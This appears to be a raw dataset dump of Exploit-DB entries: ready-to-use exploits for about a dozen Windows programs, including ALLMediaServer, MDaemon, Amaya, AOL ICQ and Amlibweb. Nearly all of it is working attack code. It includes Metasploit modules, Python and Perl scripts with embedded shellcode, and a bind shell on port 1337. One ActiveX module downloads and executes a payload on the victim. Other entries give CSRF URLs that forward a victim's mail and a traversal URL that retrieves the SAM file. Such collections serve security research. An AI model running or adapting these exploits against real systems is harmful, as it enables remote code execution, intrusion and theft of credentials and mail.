deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43407
Description: ALLMediaServer 0.95 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-12-28
Author: Anurag Srivastava

Exploit:
require 'msf/core'
 
class Metasploit4 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ALLMediaServer 0.95 Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in ALLMediaServer 0.95.
                The vulnerability is caused due to a boundary error within the
                handling of HTTP request.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Anurag Srivastava', # Remote exploit and Metasploit module
                ],
            'References'     =>
                [
                    [ 'EDB', '43406' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process', #none/process/thread/seh
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'BadChars' => "",
                    'Space' => 660,
                    'DisableNops' => true
                },
 
            'Targets'        =>
                [
                    [ 'ALLMediaServer 0.95 / Windows XP SP3 - English',
                        {
                            'Ret'       =>   0x00408315, # POP # POP # POP # RET 
                            'Offset'    =>   1072
                        }
                    ],
                    [ 'ALLMediaServer 0.95 / Windows 7 SP1 - English',
                        {
                            'Ret'       =>   0x00408315, #  POP # POP # POP # RET 
                            'Offset'    =>   1072
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Dec 28 2017',
            'DefaultTarget'  => 1))
 
        register_options([Opt::RPORT(888)], self.class)
 
    end
	
    def exploit
        connect
	buffer = ""
        buffer << make_nops(target['Offset'])
	buffer << generate_seh_record(target.ret)
	buffer << make_nops(19)
        buffer << payload.encoded
        print_status("Sending payload ...")
        sock.put(buffer)
	handler
        disconnect
    end
end
Exploit-DB #38742
Description: Aloaha PDF Suite - Remote Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2013-08-28
Author: Marcos Accossatto

Exploit:
source: https://www.securityfocus.com/bid/62036/info

Aloaha PDF Suite is prone to a stack-based buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely cause denial-of-service conditions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/62036.zip
Exploit-DB #16482
Description: Alt-N MDaemon 9.6.4 - IMAPD FETCH Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-15
Author: Metasploit

Exploit:
##
# $Id: mdaemon_fetch.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Imap
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
				version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
				account credentials are required. Credit to Matteo Memelli
			},
			'Author'         => [ 'Jacopo Cervini', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					[ 'CVE', '2008-1358' ],
					[ 'OSVDB', '43111' ],
					[ 'BID', '28245' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/5248' ],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a])",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
				],
			'DisclosureDate' => 'Mar 13 2008',
			'DefaultTarget' => 0))
	end

	def check
		connect
		disconnect

		if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		req0="0002 SELECT Inbox\r\n"

		res = raw_send_recv(req0)
		if (res and res =~ /0002 OK/)
			print_status("SELECT command OK")
		end

		req1="0003 APPEND Inbox {1}\r\n"

		res = raw_send_recv(req1)
		if (res and res =~ /Ready for append literal/)
			print_status("APPEND command OK")
		end

		res = raw_send_recv(rand_text_alpha(20) + "\r\n")
		if (res and res =~ /APPEND completed/)
			print_status("APPEND command finished")
		end

		buf = rand_text_alpha_upper(528, payload_badchars)
		buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)

		sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"

		print_status("Sending payload")

		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #38325
Description: Alt-N MDaemon WorldClient And WebAdmin - Cross-Site Request Forgery
Type: remote
Platform: windows
Date: 2013-02-18
Author: QSecure

Exploit:
source: https://www.securityfocus.com/bid/58076/info

MDaemon WorldClient and WebAdmin are prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. 

http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&[CREDENTIAL_REDACTED]=Letme1n

http://www.example.com/WorldClient.dll?Session=[SESSION_ID]&View=Options-Prefs&Reload=false&Save=Yes&ReturnJavaScript=Yes&ContentType=javascript&ForwardingEnabled=Yes&ForwardingRetainCopy=Yes&ForwardingAddress=hacker%40example.com
Exploit-DB #35119
Description: Alt-N WebAdmin 3.3.3 - Remote Source Code Information Disclosure
Type: remote
Platform: windows
Date: 2010-12-17
Author: wsn1983

Exploit:
source: https://www.securityfocus.com/bid/45476/info

Alt-N WebAdmin is prone to a remote information-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view the source code of files in the context of the server process; this may aid in further attacks.

The following versions are affected:

Alt-N WebAdmin 3.3.3
U-Mail 9.8 for Windows
U-Mail GateWay 9.8 for Windows 

http://www.example.com/login.wdm%20
http://www.example.com/login.wdm%2e
Exploit-DB #20070
Description: alt-n WorldClient standard 2.1 - Directory Traversal
Type: remote
Platform: windows
Date: 2000-07-12
Author: Rikard Carlsson

Exploit:
source: https://www.securityfocus.com/bid/1462/info

The HTTP interface for WorldClient 2.1 is vulnerable to a directory traversal. By requesting a URL composed of the filename and ..\ it is possible for a remote user to retrieve and dowload any file of known location.

Example: 
http://email.victim.com/..\..\..\winnt\repair\sam._
Exploit-DB #8321
Description: Amaya 11.1 - W3C Editor/Browser 'defer' Remote Stack Overflow
Type: remote
Platform: windows
Date: 2009-03-30
Author: Encrypt3d.M!nd

Exploit:
# exploit.py
#
# Amaya 11.1 W3C Editor/Browser (defer) Stack Overflow Exploit
# By: Encrypt3d.M!nd
#
# Origninal Advisory:
# http://www.milw0rm.com/exploits/8314
#
# Fully Based on Rob Carter's Exploit
# http://www.milw0rm.com/exploits/7988
#
# Note:you need to upload Devil_inside.html to a remote host
# Works with windows xp sp2
#


# metasploit - run calc.exe

shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x63"
"\x58\x30\x41\x30\x50\x41\x6b\x41\x41\x73\x32\x41\x42\x41\x32\x42"
"\x42\x30\x42\x42\x58\x42\x50\x38\x41\x42\x75\x4d\x39\x59\x6c\x4d"
"\x38\x42\x64\x33\x30\x37\x70\x47\x70\x4e\x6b\x52\x65\x65\x6c\x6e"
"\x6b\x41\x6c\x74\x45\x70\x78\x65\x51\x6a\x4f\x6c\x4b\x50\x4f\x74"
"\x58\x4c\x4b\x53\x6f\x55\x70\x46\x61\x4a\x4b\x72\x69\x6e\x6b\x35"
"\x64\x4c\x4b\x35\x51\x48\x6e\x66\x51\x4b\x70\x4a\x39\x6e\x4c\x4e"
"\x64\x4b\x70\x43\x44\x66\x67\x4b\x71\x4b\x7a\x44\x4d\x55\x51\x58"
"\x42\x58\x6b\x6c\x34\x77\x4b\x30\x54\x35\x74\x37\x74\x54\x35\x68"
"\x65\x4e\x6b\x31\x4f\x54\x64\x47\x71\x6a\x4b\x55\x36\x4e\x6b\x76"
"\x6c\x30\x4b\x4e\x6b\x51\x4f\x55\x4c\x35\x51\x7a\x4b\x4e\x6b\x45"
"\x4c\x4c\x4b\x46\x61\x48\x6b\x4f\x79\x53\x6c\x36\x44\x54\x44\x79"
"\x53\x30\x31\x6f\x30\x50\x64\x4c\x4b\x33\x70\x46\x50\x4f\x75\x6f"
"\x30\x70\x78\x34\x4c\x4e\x6b\x57\x30\x66\x6c\x4e\x6b\x50\x70\x35"
"\x4c\x4e\x4d\x6e\x6b\x52\x48\x53\x38\x4a\x4b\x53\x39\x4c\x4b\x4f"
"\x70\x6e\x50\x35\x50\x55\x50\x53\x30\x6e\x6b\x53\x58\x57\x4c\x53"
"\x6f\x74\x71\x7a\x56\x51\x70\x70\x56\x6f\x79\x39\x68\x4c\x43\x69"
"\x50\x43\x4b\x30\x50\x71\x78\x78\x70\x4f\x7a\x37\x74\x73\x6f\x75"
"\x38\x6c\x58\x6b\x4e\x4f\x7a\x56\x6e\x73\x67\x79\x6f\x4b\x57\x35"
"\x33\x35\x31\x32\x4c\x45\x33\x47\x70\x63")


chars = "\x41" * 6887
chars+= "\x74\x06\x41\x41"	        # jmp short 06
chars+= "\x17\x19\x10\x02"	        # 0x02101917 - pop pop ret in amaya module
chars+= "\x68\x7f\x01\x01\x7f"		# push 7f01017f
chars+= "\x58"				# pop eax
chars+= "\x2d\x18\x69\x45\x7d"		# sub eax,7a7a0857
chars+= "\x50"				# push eax
chars+= "\xc3"				# retn
chars+= "\x90" * 100
chars+=shellcode

header= ('<script defer="'+chars+'">')

file=open('Devil_inside.html','w')
file.write(header)
file.close()

# milw0rm.com [2009-03-30]
Exploit-DB #9330
Description: Amaya 11.2 - W3C Editor/Browser (defer) Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-08-03
Author: His0k4

Exploit:
#!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[+] Bug :	 Amaya 11.2 W3C Editor/Browser (defer) Remote BOF Exploit (SEH)
#[+] Tested on : Xp sp3 (en) under (vb)
#[+] Refer : 	 http://www.milw0rm.com/exploits/8314
#[+] Exploit : 	 His0k4
#[+] Greetz : 	 All friends (DZ)

#[x] Note : The html file must be browsed from a webserver

#win32_exec calc encoded with alpha2=>374 bytes.
shellcode = (
"JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
"TiKyosYyyN8YzN9IT4utL4SkoqRSwcUOJKKJ7rMSzKKLIrkDysv"
"cONtBUOjKrQCwEscPlFEWcWJJVuk9pPkCPqqMeokZTQPKLTkoQa"
"ws8qYJFZmKLsbOVZBVvxEzfPdOwnQ921l6Q4OOyN362JfnrQSmU"
"kkZr1e4OdhgnQLISp9gkKZIntL7qa5Sl4QroV5vUKDhxKyR3KSP"
"MjTrMJvKnbVnlTLkKFOyPozWf7NiqgXcTQVkMDbKqZtBuOXkT1p"
"jusNTJkL4cOMmPszZmLtkmQsbRWUKppS6SpMSQrilNum5nMYmL8"
"k8ok2NSLjKkJ32WzA")

payload =  "<script defer=\""
payload += "\x41"*6914		#change this value if needed
payload += "\x74\x06\x41\x41"	#short jump
payload += "\x50\x1A\x03\x10"	#pop pop ret somewhere
payload += "\x61"*13	# popad
payload += "\x52\xC3"	# push edx,retn C3 not mangled ouf!
payload += "\x44"*668	# padding
payload += shellcode
payload += "\x45"*5000	# result
payload += "\">"

try:
    out_file = open("exploit.html","w")
    out_file.write(payload)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-08-03]
Exploit-DB #16548
Description: Amaya Browser 11.0 - bdo tag Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: amaya_bdo.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Amaya Browser v11.0 bdo tag overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Amaya v11 Browser.
					By sending an overly long string to the "bdo"
					tag, an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'dookie, original exploit by Rob Carter' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2009-0323' ],
					[ 'OSVDB', '55721' ],
					[ 'BID', '33046, 33047' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 970,
					'BadChars'      => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Amaya Browser v11',     { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll
				],
			'DisclosureDate' => 'Jan 28 2009',
			'DefaultTarget'  => 0))
	end


	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Set the exploit buffer
		sploit = "<bdo dir=\""
		sploit += "\x41" * 6889
		sploit += "\x74\x06\x41\x41"
		sploit += [target.ret].pack('V')
		sploit += "\x68\x7f\x01\x01\x7f"   # push 7F01017F
		sploit += "\x58"		   # pop EAX
		sploit += "\x2d\x18\x69\x45\x7d"   # sub EAX, 7A7A0857
		sploit += "\x50"		   # push EAX
		sploit += "\xc3"		   # RETN
		sploit += make_nops(100)
		sploit += payload.encoded
		sploit += make_nops(970 - payload.encoded.length)
		sploit += "\">pwned!</bdo>"

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, sploit)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #7988
Description: Amaya Web Browser 11 (Windows XP) - bdo tag Remote Stack Overflow
Type: remote
Platform: windows
Date: 2009-02-04
Author: Rob Carter

Exploit:
#!/usr/bin/perl

#####################################################
#
#   Amaya 11 bdo tag remote stack overflow exploit
#
#   author: Rob Carter (cartrel@hotmail.com)
#
#   affects: winxp sp0-3
#
#   this vulnerability only allows hex bytes
#   between 0x01 and 0x7f to get to the stack
#   unchanged. overwrote SEH with compatible addr
#   of a pop pop ret, manipulated eax register
#   with instructions whose opcodes fell within
#   the acceptable range and then used a ret to
#   force eip to another memory range where the
#   payload was still intact, allowing me to use
#   standard metasploit shellcode with no special
#   encoders.
#
#   i was able to get this working in sp2-3 VERY
#   easily because none of amaya's modules were
#   compiled with the /SAFESEH option so i was
#   able to just overwrite SEH with the address
#   of a pop pop ret in wxmsw2_2 (0x02101917) and
#   execution was returned to my shellcode.
#
#   binds a shell to port 1337 of the victim
#
#   $ perl amaya_sploit.pl > pwn.html
#
#   the author is not responsible for any misuse of
#   this code. it is intended for educational
#   purposes only
#
#####################################################

$shellcode =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45".
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49".
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d".
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66".
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61".
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40".
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32".
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6".
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09".
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0".
"\x66\x68\x05\x39\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff".
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53".
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff".
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64".
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89".
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab".
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51".
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53".
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6".
"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

$payload = "<bdo dir=\"".
'A' x 6889 .
"\x74\x06\x41\x41".		# jmp short 06
"\x17\x19\x10\x02".		# 0x02101917 - pop pop ret in amaya module
"\x68\x7f\x01\x01\x7f".		# push 7f01017f
"\x58".				# pop eax
"\x2d\x18\x69\x45\x7d".		# sub eax,7a7a0857
"\x50".				# push eax
"\xc3".				# retn
"\x90" x 100 .
$shellcode.
"\">pwnd!</bdo>";

print $payload;

# milw0rm.com [2009-02-04]
Exploit-DB #16554
Description: America Online ICQ - ActiveX Control Arbitrary File Download and Execute (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: aol_icq_downloadagent.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'America Online ICQ ActiveX Control Arbitrary File Download and Execute',
			'Description'    => %q{
					This module allows remote attackers to download and execute arbitrary files
				on a users system via the DownloadAgent function of the ICQPhone.SipxPhoneManager ActiveX control.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 11127 $',
			'References'     =>
				[
					[ 'CVE', '2006-5650' ],
					[ 'OSVDB', '30220' ],
					[ 'BID', '20930'  ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-037/' ],
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DisclosureDate' => 'Nov 06 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
			], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)

		payload_url =  "http://"
		payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/PAYLOAD"

		if (request.uri.match(/PAYLOAD/))
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		vname  = rand_text_alpha(rand(100) + 1)
		exe    = rand_text_alpha_upper(rand(5) + 1)

		content = %Q|
	<html>
		<head>
			<script>
				try {
					var #{vname} = new ActiveXObject('ICQPhone.SipxPhoneManager.1');
					#{vname}.DownloadAgent("#{payload_url}/#{exe}.exe");
				} catch( e ) { window.location = 'about:blank' ; }
			</script>
		</head>
	</html>
				|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		send_response_html(cli, content)

		handler(cli)

	end
end
Exploit-DB #16793
Description: Amlibweb NetOpacs - 'webquery.dll' Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: amlibweb_webquerydll_app.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'         => 'Amlibweb NetOpacs webquery.dll Stack Buffer Overflow',
			'Description'  => %q{
					This module exploits a stack buffer overflow in Amlib's Amlibweb
				Library Management System (NetOpacs). The webquery.dll
				API is available through IIS requests. By specifying
				an overly long string to the 'app' parameter, SeH can be
				reliably overwritten allowing for arbitrary remote code execution.
				In addition, it is possible to overwrite EIP by specifying
				an arbitrary parameter name with an '=' terminator.
			},
			'Author'       => [ 'patrick' ],
			'Arch'         => [ ARCH_X86 ],
			'License'      => MSF_LICENSE,
			'Version'      => '$Revision: 11039 $',
			'References'   =>
				[
					[ 'OSVDB', '66814'],
					[ 'URL', 'http://www.aushack.com/advisories/' ],
				],
			'Privileged'		=> true,
			'DefaultOptions'	=>
				{
					'EXITFUNC'	=> 'thread',
				},
			'Payload'		=>
				{
					'Space'			=> 600,
					'BadChars' 		=> "\x00\x0a\x0d\x20%=?\x2f\x5c\x3a\x3d\@;!$",
					'EncoderType'		=> Msf::Encoder::Type::AlphanumMixed,
					'DisableNops'  		=>  'True',
					'StackAdjustment' 	=> -3500,
				},
			'Platform' => ['win'],
			'Targets'  =>
				[
					# patrickw - Tested OK 20100803 w2k IIS5
					[ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll - 'dll?app={buff}' for SeH IIS5
					# [ 'Windows 2003 Server All - English', { 'Ret' => 0x44434241 } ], # todo: 'dll?{buff}=' call edi for EIP in IIS6 w3wp.exe, 120 byte limit, ASCII only.
				],
			'DisclosureDate' => 'Aug 03 2010', #0day
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(80),
			],self.class)
	end

	def check
		connect

		rand = Rex::Text.rand_text_alpha(10)

		sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")
		res = sock.get(-1,3)
		disconnect

		if (res =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
			if ($1 == rand)
				return Exploit::CheckCode::Vulnerable
			end
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		connect
		seh = generate_seh_payload(target.ret)

		buffer = Rex::Text.rand_text_alphanumeric(3028) + seh
		sploit = "GET /amlibweb/webquery.dll?app="  + buffer + " HTTP/1.0\r\n"
		sock.put(sploit + "\r\n\r\n")

		handler
		disconnect
	end
end